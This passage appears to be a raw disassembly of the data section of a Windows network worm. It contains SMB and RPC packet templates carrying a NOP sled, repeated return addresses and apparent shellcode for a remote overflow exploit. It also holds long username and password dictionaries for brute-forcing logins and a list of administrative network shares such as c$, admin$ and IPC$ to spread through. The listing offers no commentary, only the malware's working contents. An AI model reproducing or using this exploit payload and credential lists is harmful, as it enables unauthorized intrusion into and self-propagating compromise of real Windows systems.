48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: cAddress:00410C8Eo dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: cAddress:00410CCBo dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: cAddress:00410D0Bo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: cAddress:00410D68o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: cAddress:00410E19o dd 0D7h, 1, 0 dd 1, 0 dd 0CBh, 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: cAddress:00410E9Ao dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: cAddress:00410F30o dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: cAddress:00410DD7o ; cAddress:00410DEDo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: cAddress:00410DC1o dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 1013C79h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dd 7E0h, 4, 2 dup(0) aFb db 'fìÐ',7,0 align 10h dd 129F74h, 0 dd 127D78h, 0 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h dd 61D5E0h, 77BD3143h, 7FCh, 0C0314301h, 7FC77h, 4F020100h dd 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix_0 ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aGod ; "god" dd offset aDomain ; "domain" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aData ; "data" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" dd offset aE ; "e$" dd offset aCShared ; "c$\\shared" dd offset aDShared ; "d$\\shared" dd offset aEShared ; "e$\\shared" dd offset aCWinnt ; "c$\\winnt" dd offset aCWindows ; "c$\\windows" dd offset aCWinntSystem32 ; "c$\\winnt\\system32" dd offset aCWindowsSystem ; "c$\\windows\\system32" dd offset aAdminSystem32 ; "Admin$\\system32" dd offset aAdmin_0 ; "admin$" dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"... dd offset aPrint ; "print$" dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE00 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aA_0 ; "a" dd offset aAb ; "ab" dd offset aAbc ; "abc" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aDba ; "dba" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1_0 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset aWork ; "work" dd offset aDeadline ; "deadline" dd offset aPayday ; "payday" dd offset aSecret ; "secret" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix_0 ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_0 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aMoney ; "money" dd offset aLove ; "love" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 ; DATA XREF: cAddress:0041BF5Co aBlank db 'blank',0 ; DATA XREF: cAddress:0041BF58o align 4 aXp_0 db 'xp',0 ; DATA XREF: cAddress:0041BF4Co align 4 aNokia db 'nokia',0 ; DATA XREF: cAddress:0041BF48o align 10h aHp db 'hp',0 ; DATA XREF: cAddress:0041BF44o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: cAddress:0041BF28o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: cAddress:0041BF24o align 4 aDb1234 db 'db1234',0 ; DATA XREF: cAddress:0041BF18o align 4 aDb2 db 'db2',0 ; DATA XREF: cAddress:0041BF14o aDb1 db 'db1',0 ; DATA XREF: cAddress:0041BF10o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: cAddress:0041BF0Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: cAddress:0041BF04o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: cAddress:0041BF00o align 4 aDbpass db 'dbpass',0 ; DATA XREF: cAddress:0041BEFCo align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: cAddress:0041BEF0o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: cAddress:0041BEECo align 4 aHello db 'hello',0 ; DATA XREF: cAddress:0041BEE4o align 10h aHell db 'hell',0 ; DATA XREF: cAddress:0041BEE0o align 4 aLove db 'love',0 ; DATA XREF: cAddress:0041BEDCo align 10h aMoney db 'money',0 ; DATA XREF: cAddress:0041BED8o align 4 aSlut db 'slut',0 ; DATA XREF: cAddress:0041BECCo align 10h aBitch db 'bitch',0 ; DATA XREF: cAddress:0041BEC8o align 4 aFuck db 'fuck',0 ; DATA XREF: cAddress:0041BEC4o align 10h aExchange db 'exchange',0 ; DATA XREF: cAddress:0041BEC0o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: cAddress:0041BEB4o align 4 aLogin_0 db 'login',0 ; DATA XREF: cAddress:0041BEB0o align 10h aQwe db 'qwe',0 ; DATA XREF: cAddress:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: cAddress:0041BE48o aAsd db 'asd',0 ; DATA XREF: cAddress:0041BE44o aQaz db 'qaz',0 ; DATA XREF: cAddress:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: cAddress:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: cAddress:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: cAddress:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: cAddress:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: cAddress:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: cAddress:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: cAddress:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: cAddress:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: cAddress:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: cAddress:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: cAddress:0041BE00o aSex db 'sex',0 ; DATA XREF: cAddress:0041BDFCo ; cAddress:0041BED0o aOutlook db 'outlook',0 ; DATA XREF: cAddress:0041BDECo aMail db 'mail',0 ; DATA XREF: cAddress:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: cAddress:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: cAddress:0041BDE0o aTemp db 'temp',0 ; DATA XREF: cAddress:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: cAddress:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: cAddress:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: cAddress:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: cAddress:0041BDB4o align 10h aTest db 'test',0 ; DATA XREF: cAddress:0041BDA8o align 4 a2005 db '2005',0 ; DATA XREF: cAddress:0041BDA4o align 10h a2004 db '2004',0 ; DATA XREF: cAddress:0041BDA0o align 4 a2001 db '2001',0 ; DATA XREF: cAddress:0041BD94o align 10h aSecret db 'secret',0 ; DATA XREF: cAddress:0041BD8Co align 4 aPayday db 'payday',0 ; DATA XREF: cAddress:0041BD88o align 10h aDeadline db 'deadline',0 ; DATA XREF: cAddress:0041BD84o align 4 aWork db 'work',0 ; DATA XREF: cAddress:0041BD80o align 4 a1234567890 db '1234567890',0 ; DATA XREF: cAddress:0041BD7Co align 10h a123456789 db '123456789',0 ; DATA XREF: cAddress:0041BD78o align 4 a12345678 db '12345678',0 ; DATA XREF: cAddress:0041BD74o align 4 a1234567 db '1234567',0 ; DATA XREF: cAddress:0041BD70o a123456 db '123456',0 ; DATA XREF: cAddress:0041BD6Co align 4 a12345 db '12345',0 ; DATA XREF: cAddress:0041BD68o align 10h a1234 db '1234',0 ; DATA XREF: cAddress:0041BD64o align 4 a123 db '123',0 ; DATA XREF: cAddress:0041BD60o a12 db '12',0 ; DATA XREF: cAddress:0041BD5Co align 10h a1_0: ; DATA XREF: cAddress:0041BD58o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: cAddress:0041BD54o aPwd db 'pwd',0 ; DATA XREF: cAddress:0041BD50o aPass_0 db 'pass',0 ; DATA XREF: cAddress:0041BD4Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: cAddress:0041BD48o align 10h aDba db 'dba',0 ; DATA XREF: cAddress:0041BD44o aPasswd db 'passwd',0 ; DATA XREF: cAddress:0041BD40o align 4 aPassword db 'password',0 ; DATA XREF: cAddress:0041BD3Co ; cAddress:0041D768o align 4 aPassword1 db 'password1',0 ; DATA XREF: cAddress:0041BD38o align 4 aAbc db 'abc',0 ; DATA XREF: cAddress:0041BD34o aAb db 'ab',0 ; DATA XREF: cAddress:0041BD30o align 4 aA_0: ; DATA XREF: cAddress:0041BD2Co unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: cAddress:0041BD04o align 4 aPrint db 'print$',0 ; DATA XREF: cAddress:0041BD00o align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 ; DATA XREF: cAddress:0041BCFCo aAdmin_0 db 'admin$',0 ; DATA XREF: cAddress:0041BCF8o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: cAddress:0041BCF4o aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: cAddress:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: cAddress:0041BCECo align 10h aCWindows db 'c$\windows',0 ; DATA XREF: cAddress:0041BCE8o align 4 aCWinnt db 'c$\winnt',0 ; DATA XREF: cAddress:0041BCE4o align 4 aEShared db 'e$\shared',0 ; DATA XREF: cAddress:0041BCE0o align 4 aDShared db 'd$\shared',0 ; DATA XREF: cAddress:0041BCDCo align 10h aCShared db 'c$\shared',0 ; DATA XREF: cAddress:0041BCD8o align 4 aE db 'e$',0 ; DATA XREF: cAddress:0041BCD4o align 10h aD db 'd$',0 ; DATA XREF: cAddress:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: cAddress:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: cAddress:0041BCC4o ; cAddress:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: cAddress:0041BCC0o ; cAddress:0041BF78o aOwner db 'owner',0 ; DATA XREF: cAddress:0041BCBCo ; cAddress:0041BF74o align 10h aStudent db 'student',0 ; DATA XREF: cAddress:0041BCB8o ; cAddress:0041BF70o aIntranet db 'intranet',0 ; DATA XREF: cAddress:0041BCB4o ; cAddress:0041BF6Co align 4 aLan_0 db 'lan',0 ; DATA XREF: cAddress:0041BCACo ; cAddress:0041BF64o aMain db 'main',0 ; DATA XREF: cAddress:0041BCA8o ; cAddress:0041BF60o align 10h aOffice db 'office',0 ; DATA XREF: cAddress:0041BCA4o ; cAddress:0041BF54o align 4 aControl db 'control',0 ; DATA XREF: cAddress:0041BCA0o ; cAddress:0041BF50o aSiemens db 'siemens',0 ; DATA XREF: cAddress:0041BC9Co ; cAddress:0041BF40o aCompaq db 'compaq',0 ; DATA XREF: cAddress:0041BC98o ; cAddress:0041BF3Co align 10h aDell db 'dell',0 ; DATA XREF: cAddress:0041BC94o ; cAddress:0041BF38o align 4 aCisco db 'cisco',0 ; DATA XREF: cAddress:0041BC90o ; cAddress:0041BF34o align 10h aIbm db 'ibm',0 ; DATA XREF: cAddress:0041BC8Co ; cAddress:0041BF30o aOracle db 'oracle',0 ; DATA XREF: cAddress:0041BC88o ; cAddress:0041BF2Co align 4 aSql db 'sql',0 ; DATA XREF: cAddress:0041BC84o ; cAddress:0041BF20o aSa db 'sa',0 ; DATA XREF: cAddress:0041BC80o ; cAddress:0041BF1Co align 4 aData db 'data',0 ; DATA XREF: cAddress:0041BC7Co ; cAddress:0041BF08o align 4 aAccess db 'access',0 ; DATA XREF: cAddress:0041BC78o ; cAddress:0041BEF8o align 4 aDatabase db 'database',0 ; DATA XREF: cAddress:0041BC74o ; cAddress:0041BEF4o align 10h aDomain db 'domain',0 ; DATA XREF: cAddress:0041BC70o ; cAddress:0041BEE8o align 4 aGod db 'god',0 ; DATA XREF: cAddress:0041BC6Co ; cAddress:0041BED4o aBackup db 'backup',0 ; DATA XREF: cAddress:0041BC68o ; cAddress:0041BEBCo align 4 aTechnical db 'technical',0 ; DATA XREF: cAddress:0041BC64o ; cAddress:0041BEB8o align 10h aMary db 'mary',0 ; DATA XREF: cAddress:0041BC60o ; cAddress:0041BEACo align 4 aKatie db 'katie',0 ; DATA XREF: cAddress:0041BC5Co ; cAddress:0041BEA8o align 10h aKate db 'kate',0 ; DATA XREF: cAddress:0041BC54o ; cAddress:0041BEA0o align 4 aGeorge db 'george',0 ; DATA XREF: cAddress:0041BC50o ; cAddress:0041BE9Co align 10h aEric db 'eric',0 ; DATA XREF: cAddress:0041BC4Co ; cAddress:0041BE98o align 4 aNone db 'none',0 ; DATA XREF: cAddress:0041BC48o ; cAddress:0041BDB0o align 10h aGuest db 'guest',0 ; DATA XREF: cAddress:0041BC44o ; cAddress:0041BDACo align 4 aChris db 'chris',0 ; DATA XREF: cAddress:0041BC40o ; cAddress:0041BE94o align 10h aIan db 'ian',0 ; DATA XREF: cAddress:0041BC3Co ; cAddress:0041BE90o aNeil db 'neil',0 ; DATA XREF: cAddress:0041BC38o ; cAddress:0041BE8Co align 4 aLee db 'lee',0 ; DATA XREF: cAddress:0041BC34o ; cAddress:0041BE88o aBrian db 'brian',0 ; DATA XREF: cAddress:0041BC30o ; cAddress:0041BE84o align 4 aSusan db 'susan',0 ; DATA XREF: cAddress:0041BC28o ; cAddress:0041BE7Co align 10h aSue db 'sue',0 ; DATA XREF: cAddress:0041BC24o ; cAddress:0041BE78o aSam db 'sam',0 ; DATA XREF: cAddress:0041BC20o ; cAddress:0041BE74o aLuke db 'luke',0 ; DATA XREF: cAddress:0041BC1Co ; cAddress:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: cAddress:0041BC18o ; cAddress:0041BC2Co ... align 4 aJohn db 'john',0 ; DATA XREF: cAddress:0041BC14o ; cAddress:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: cAddress:0041BC10o ; cAddress:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: cAddress:0041BC0Co ; cAddress:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: cAddress:0041BC08o ; cAddress:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: cAddress:0041BC04o ; cAddress:0041BE58o aJen db 'jen',0 ; DATA XREF: cAddress:0041BC00o ; cAddress:0041BE54o aBob db 'bob',0 ; DATA XREF: cAddress:0041BBFCo ; cAddress:0041BC58o ... aWwwadmin db 'wwwadmin',0 ; DATA XREF: cAddress:0041BBF8o ; cAddress:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: cAddress:0041BBF4o ; cAddress:0041BE1Co aUser_1 db 'user',0 ; DATA XREF: cAddress:0041BBF0o ; cAddress:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: cAddress:0041BBECo ; cAddress:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: cAddress:0041BBE8o ; cAddress:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: cAddress:0041BBE4o ; cAddress:0041BCB0o ... align 10h aWww db 'www',0 ; DATA XREF: cAddress:0041BBE0o ; cAddress:0041BDF4o aWeb db 'web',0 ; DATA XREF: cAddress:0041BBDCo ; cAddress:0041BDF0o aRoot db 'root',0 ; DATA XREF: cAddress:0041BBD8o ; cAddress:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: cAddress:0041BBD4o ; cAddress:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: cAddress:0041BBCCo ; cAddress:0041BDC0o align 10h aUnix_0 db 'unix',0 ; DATA XREF: cAddress:0041BBC8o ; cAddress:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: cAddress:0041BBC4o ; cAddress:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: cAddress:0041BBC0o ; cAddress:0041BD28o aAdmin db 'admin',0 ; DATA XREF: cAddress:0041BBBCo ; cAddress:0041BD24o align 10h aAdmins db 'admins',0 ; DATA XREF: cAddress:0041BBB8o ; cAddress:0041BD20o align 4 aAdministrat db 'administrat',0 ; DATA XREF: cAddress:0041BBB4o ; cAddress:0041BD1Co aAdministrateur db 'administrateur',0 ; DATA XREF: cAddress:0041BBB0o ; cAddress:0041BD18o align 4 aAdministrador db 'administrador',0 ; DATA XREF: cAddress:0041BBACo ; cAddress:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: cAddress:0041BBA8o ; cAddress:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: cAddress:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: cAddress:0041197Eo dword_41C514 dd 1471A0h ; DATA XREF: 